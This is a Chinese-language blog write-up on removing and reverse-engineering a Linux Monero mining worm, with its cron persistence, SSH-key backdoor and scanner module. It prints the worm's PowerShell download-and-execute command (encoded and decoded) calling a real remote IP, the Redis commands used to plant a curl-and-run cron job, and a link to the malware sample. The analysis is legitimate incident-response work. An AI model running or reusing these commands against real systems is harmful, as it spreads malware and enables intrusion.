实战|Linux挖矿病毒的清除与分析

VSole2023-02-06 10:29:46

起因

舍友在宿舍喊着,这服务器好卡啊,难受啊!我调侃他是不是被挖矿了,top命令看一下CPU占用。

一看吓一跳,一个叫做sysupdate的进程占据了绝大部分的CPU资源。CPU使用率接近100%。

看来被挖矿是坐实了。

清除过程

确定病因

这个病毒还不是算很变态,很多挖矿病毒,使用top命令都看不到挖矿程序的进程。

基本可以确定这个占据绝大部分cpu资源的进程sysupdate,就是挖矿程序了,我们需要先找到他。

使用命令:

ps -aux | grep sysupdate 

查看病毒的PID号。

为了获取绝对路径,使用:

ls -l /proc/{pid号}/exe

发现sysupdate的绝对路径在/etc/sysupdate。

下载下来,上传到VirusTotal。

如图所示,就是他,挖矿病毒没跑了。

开始清除

首先干掉进程:kill -9 {pid号}

直接rm -f sysupdate会提示类似:

rm: cannot remove 'sysupdate ': Operation not permitted

基于经验,应该是病毒使用了chattr +i的命令。我们只要先执行chattr -i sysupdate,然后就可以正常删除了。

复发

然后..很快就又被创建出来了。应该是有守护进程什么的。

而且如果我们简单分析一下sysupdate,其实他并不是病毒,他只是个XMR挖矿程序。

(懂我意思吧,我们必须得找到他爸爸)。

分析的方法,可以通过findStr、IDA等工具提串或者..运行一下就明白了。下图是我虚拟机运行的截图。

好,我知道大家都不关心这个。

定时任务

我是先去看了下日志..发现什么都没有Orz,应该是被清了。

那还是先来检查下定时任务吧:

crontab -l或者cat /var/spool/cron/root

还可以去查看定时任务的日志。

more /var/log/cron log

太多的话,可以在后面加上| grep -v {要排除的关键字}来排除无用信息。

update.sh分析

找到了这个定时执行的源头,我们来简单分析一下。update.sh的内容和相关样本在文末有提供下载。

在/etc下下载了config.json(挖矿配置)、sysupdate(XMR挖矿软件)、update.sh(本脚本)、networkservice(scanner 扫描并入侵其他的主机)、sysguard(watchdog 用于监控并保证病毒的正常运行以及更新)并保证他们以root权限运行。

干掉别的挖矿病毒(见killminerproc函数)。

创建/root/.ssh/authorized_keys,添加病毒作者自己的公钥,保证其可以使用SSH登录到服务器,算是个后门吧。

然后就是添加定时任务,为文件添加chattr +i,修改IPTABLES,清楚日志,关闭SELinux等等。

修复

1.rm /var/spool/cron/root或者 crontab -r删除定时任务。

2.kill命令将相关进程干掉,用chattr -i和rm命令,将上述/etc下的文件全部删除。

3./root/.ssh/authorized_keys也删掉或者修复。

至于IPTABLES、SELinux的恢复,就看大家自己的需求了。

样本分析:networkservice文件的分析

分析准备

查壳是UPX,直接使用upx -d就能脱壳了。

IDA打开发现结构很乱,Shift+F7打开Program Segmentation。

看到.gopclntab,基本就可以确定是golang编写的。我们这里使用IDAGolangHelper来帮助恢复符号信息。

从Github下载下来后,将脚本拷贝到IDA目录的python文件夹下,重启IDA,菜单选择File-Script Command..导入go_entry.py并运行。

PS:这里IDA7.0可能会遇到idc_bc695.py文件的MakeStr报错,这里给出看雪的解决办法。

如图所示,前两个按钮是用于检测Go语言的版本,输出在Output window内。我们这里选择Go1.10。然后按下剩下全部按钮进行修复~

再次看Functions window就舒服多了。不过字符串还是看着非常非常难受,因为Golang的字符串是堆成一坨的,用的时候通过偏移以及长度取。IDA没法很好的识别,只能自己从偏移处选定指定长度再按下A键进行标注。如果大佬们有更好的方式或者脚本,请务必赐教。

功能分析

我们接下来就可以从main_main函数开始看,整个程序的大概流程。

1.首先会去hxxps://pixeldra.in/api/download/I9RRye下载ips_cn.txt并保存为dkelc。

2.ips_cn.txt的内容实际上就是大量的国内ip段的十进制表示,为之后的扫描入侵做准备。

程序内包含了大量的exploit。基本都是RCE即远程命令执行,下表做了部分列举:

Redis未授权RCEHadoop未授权RCEDrupal CVE-2018-7600ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模块Spring CVE-2018-1273Sqlserver Exploit模块ThinkPHP5 RCEWeblogic CVE-2017-10271

以Redis未授权漏洞为例作分析,首先会去尝试空口令和弱口令爆破,如果成功连接。

首先设置Redis的stop-writes-on-bgsave-error为no。执行Redis命令FlushAll清空数据表。

设置dbfilename为Root,即设置持久化文件名为root,对应的Redis命令为:

config set dbfilename root

紧接着设置dir到定时任务目录/var/spool/cron,对应Redis命令为

config set dir "/var/spool/cron"

执行完上面的命令后,Redis之后的数据就会保存到/var/spool/cron/root,即Root用户的定时任务文件里。

紧接着拼接curl下载并执行远程shell的语句,并调用Save写入文件中。

sysguard

作者叫他是Watchdog,主要功能就是监控自己的各程序,定时任务等是否启动正常。不知道和网上的watchdogs挖矿病毒有没有联系。

在分析过程中,发现不仅仅有Linux版,还有Windows版。

对于windows,会去执行下面的命令:

powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==

base64解密为:

iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')

即下载执行update.ps1,没什么新意,火绒就可以查杀拦截:

windows版的下载地址如下,因为是Go语言编写的,其实内容都是大同小异的:

hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exehxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1

样本下载

https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
linux服务器linux系统
本作品采用《CC 协议》,转载必须注明作者和本文链接
"请用root用户执行此脚本!#最近启动时间?#运行时间(天)?#相同ID的用户?#密码过期(天)?#允许root远程登录?#僵尸进程数量?#自启动服务数量?"系统巡检脚本:Version $VERSION"
Linux的应用越来越普遍,且绝大多数嵌入式系统都使用的是Linux系统。但近期,黑客对Linux服务器进行DDoS攻击的次数飙升,受DDoS攻击影响的有70多个国家,其中77%的攻击都发生在中国,最容易受攻击的国家还有法国和荷兰。黑客主要是利用C&C 服务器来集中管理并执行DDoS攻击,Linux服务器便成了其主要的攻击目标。面对如此猖獗的黑客攻击,Linux服务器如何做好预防工作呢?部署
假如你想要搭建一个Linux服务器,并且希望可以长期维护的话,就需要考虑安全性能与速度等众多因素。一份正确的linux基本安全配置手册就显得格外重要。#为删除你系统上的用户,用下面的命令:[root@c1gstudio]# userdel username#批量删除方式#这里删除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "账号#如果你开着ftp等服务可以把ftp账号保留下来。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
#更改SSH端口,最好改为10000以上,别人扫描到端口的机率也会下降。防火墙要开放配置好的端口号,如果是阿里云服务器,你还需要去阿里云后台配置开发相应的端口才可以,否则登不上哦!如果你觉得麻烦,可以不用改。#禁用版本1协议, 因为其设计缺陷, 很容易使密码被黑掉。关键在于环境变量的不同,su -的环境变量更全面。#禁止空密码登陆。保存,用 uusama 账户登录后,直接获取的就是 root 帐号的权限。
Linux是一种开源操作系统,它支持各种硬件平台,Linux服务器全球知名,它和Windows之间最主要的差异在于,Linux服务器默认情况下一般不提供GUI(图形用户界面),而是命令行界面,它的主要目的是高效处理非交互式进程,响应时间并不是那么重要,相反,能够长时间处理高负载才是最关键的。
当企业发生网络安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,同时还需进一步查找入侵来源,还原入侵事故过程,给出解决方案与防范措施,为企业挽回或减少经济损失。 常见的网络安全事件:
SSH 是一种广泛使用的协议,用于安全地访问 Linux 服务器。但是,不安全的默认配置也会带来各种安全风险。具有开放 SSH 访问权限的服务器的 root 帐户可能存在风险。因此,有必要了解 SSH 安全性。这是在 Linux 上保护 SSH 服务器连接的方法。关闭 root 用户的服务器访问是一种防御策略,可以防止攻击者实现入侵系统的目标。例如,您可以创建一个名为exampleroot的用户,如下所示:useradd?
如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?来看Netflix性能工程团队的这篇博文,看它们通过十条命令在一分钟内对机器性能问题进行诊断。概述 通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。
VSole
网络安全专家